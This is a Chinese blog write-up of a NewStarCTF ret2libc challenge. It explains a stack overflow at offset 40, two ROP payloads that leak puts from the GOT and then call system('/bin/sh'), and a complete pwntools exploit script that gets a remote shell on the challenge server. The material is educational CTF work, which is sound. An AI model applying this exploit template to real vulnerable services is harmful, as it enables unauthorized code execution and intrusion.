NewStarCTF公开赛赛道-ret2libc Writeup

怎莫没有后门函数惹qwq,不响丸辣!!!

没看到任何的后门函数,完结撒花(bushi

pwndbg中计算出来的偏移是40

可能还需要平衡堆栈,我们把 ret 的地址也记录一下(其实我也不知道堆栈平衡是什么东西,看大佬们都讲我也跟一个

然后构造第一个payload:

payload1 = b'a'*40 + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

关于 payload 的详细解释:

首先,溢出后返回到我们的 gadget: pop rdiret

此时 rip 指向 pop rdirsp 指向 puts 函数的真实地址,puts 函数调用结束,返回到 main 函数。因为我们还需要再次执行 fgets 函数溢出,进而去执行 system 函数;

然后构造第二个payload:

payload2 = b'a'*40 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)

同样先溢出,将 system 函数的参数 /bin/sh 弹入 rdi 寄存器,平栈后,调用 system 函数,即可 getshell

Exp如下:

from pwn import *
from LibcSearcher import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('node5.buuoj.cn',29797)
elf = ELF('./pwn')
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = 0x0400698
pop_rdi = 0x400753
ret_addr = 0x40050e

payload1 = b'a'*40 + p64(pop_rdi) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)

io.sendlineafter('Glad to meet you again!What u bring to me this time?',payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = ELF('./libc-2.31.so')

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))


payload2 = b'a'*40 + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) 
io.sendline(payload2)
io.interactive()

太好了是flag我们有救了.png


NewStarCTF公开赛赛道-ret2libc Writeup
https://zer0ptr.github.io/2025/10/04/NewStarCTF-public-ret2libc/
Author
hakmaple
Posted on
October 4, 2025
Licensed under